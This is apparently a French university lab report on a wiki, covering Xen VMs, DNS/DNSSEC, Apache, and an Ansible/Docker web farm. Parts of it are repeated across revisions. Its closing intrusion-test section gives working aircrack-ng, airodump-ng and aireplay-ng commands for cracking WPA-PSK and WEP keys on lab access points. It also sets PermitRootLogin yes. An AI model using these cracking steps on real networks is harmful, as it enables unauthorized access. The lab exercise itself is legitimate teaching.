# state: absent
# force: yes

Que l'on lance avec la commande:
ansible-playbook file_name.yml

La tâche "Last" qui effectue "docker ps" ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:
[[Fichier:result_crea_docker.png|600px|center]]

====Equilibreur de charge====
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:
a2enmod proxy_http
a2enmod proxy (au cas où mais ça s’active en même temps)
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Puis on redémarre Apache2:
service apache2 restart

On modifie notre fichier chlamydiae.conf de apache2:
<VirtualHost 193.48.57.180:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$
SSLCertificateKeyFile /etc/ssl/key/myserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$
SSLVerifyclient NONE
</VirtualHost>

<VirtualHost 193.48.57.180:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
ProxyPass "/" "balancer://ourbalancer/"
ProxyPassReverse "/" "balancer://ourbalancer"
<Location "/balancer-manager">
SetHandler balancer-manager
Require host 193.48.57.180
</Location>
</VirtualHost>

<Proxy "balancer://ourbalancer">
BalancerMember http://192.168.0.1:8004
BalancerMember http://192.168.0.2:8004
BalancerMember http://192.168.0.3:8004
BalancerMember http://192.168.0.4:8004
BalancerMember http://192.168.0.5:8004
BalancerMember http://192.168.0.6:8004
ProxySet lbmethod=byrequests
</Proxy>

On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.

On recharge apache2:
service apache2 reload

Le rapport d'état se trouve à l'URL:

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-16T17:43:57Z

Zbriois : /* Architecture générale de la ferme */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Chlamydiae on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "chlamydiae.site" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===
Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.plil.fr:3128
export https_proxy=http://proxy.plil.fr:3128
xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # réseau de communication entre les 2 machines virtuelles
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 192.168.0.14 # réseau de communication entre les 2 machines virtuelles
address 192.168.0.4/24

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Pour tester la partie docker indépendamment, sur la machine secondaire:
:- on crée notre index.html (basique)
:- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====

Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:
---
- hosts: serveurs-internes
tasks:
- name: install rsync
apt:
state: latest
name: 'rsync'

- name: transfer files
copy:
src: DockerFiles
dest: /tmp/gr4/
register: copy_output
- debug: var=copy_output

- name: build Docker image from Dockerfile
docker_image:
tag: latest
name: image-for-chlamydiae
path: /tmp/gr4/DockerFiles
state: present

- name: Create the container
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: present

- name: check if container is running
shell: 'docker ps'
register: docker_ps
- debug: var=docker_ps.stdout_lines

- name: Last
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: started
recreate: yes
ports:
- "8004:80"

Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:
# - name: Try to stop container
# docker_container:
# name: container-chlamydiae
# state: stopped
# image: image-for-chlamydiae

# - name: Delete container
# docker_container:
# name: container-chlamydiae
# state: absent
# image: image-for-chlamydiae

# - name: Delete the image
# docker_image:
# name: image-for-chlamydiae
# tag: latest
# state: absent
# force: yes

Que l'on lance avec la commande:
ansible-playbook file_name.yml

La tâche "Last" qui effectue "docker ps" ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:

====Equilibreur de charge====
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:
a2enmod proxy_http
a2enmod proxy (au cas où mais ça s’active en même temps)
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Puis on redémarre Apache2:
service apache2 restart

On modifie notre fichier chlamydiae.conf de apache2:
<VirtualHost 193.48.57.180:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$
SSLCertificateKeyFile /etc/ssl/key/myserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$
SSLVerifyclient NONE
</VirtualHost>

<VirtualHost 193.48.57.180:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
ProxyPass "/" "balancer://ourbalancer/"
ProxyPassReverse "/" "balancer://ourbalancer"
<Location "/balancer-manager">
SetHandler balancer-manager
Require host 193.48.57.180
</Location>
</VirtualHost>

<Proxy "balancer://ourbalancer">
BalancerMember http://192.168.0.1:8004
BalancerMember http://192.168.0.2:8004
BalancerMember http://192.168.0.3:8004
BalancerMember http://192.168.0.4:8004
BalancerMember http://192.168.0.5:8004
BalancerMember http://192.168.0.6:8004
ProxySet lbmethod=byrequests
</Proxy>

On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.

On recharge apache2:
service apache2 reload

Le rapport d'état se trouve à l'URL:

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-16T17:43:11Z

Zbriois : /* Architecture générale de la ferme */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Chlamydiae on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "chlamydiae.site" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===
Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # réseau de communication entre les 2 machines virtuelles
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 192.168.0.14 # réseau de communication entre les 2 machines virtuelles
address 192.168.0.4/24

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
$ iptables -P FORWARD DROP
$ iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
$ iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
$ iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
$ echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
$ apt install iptables-persistent > Yes > Yes

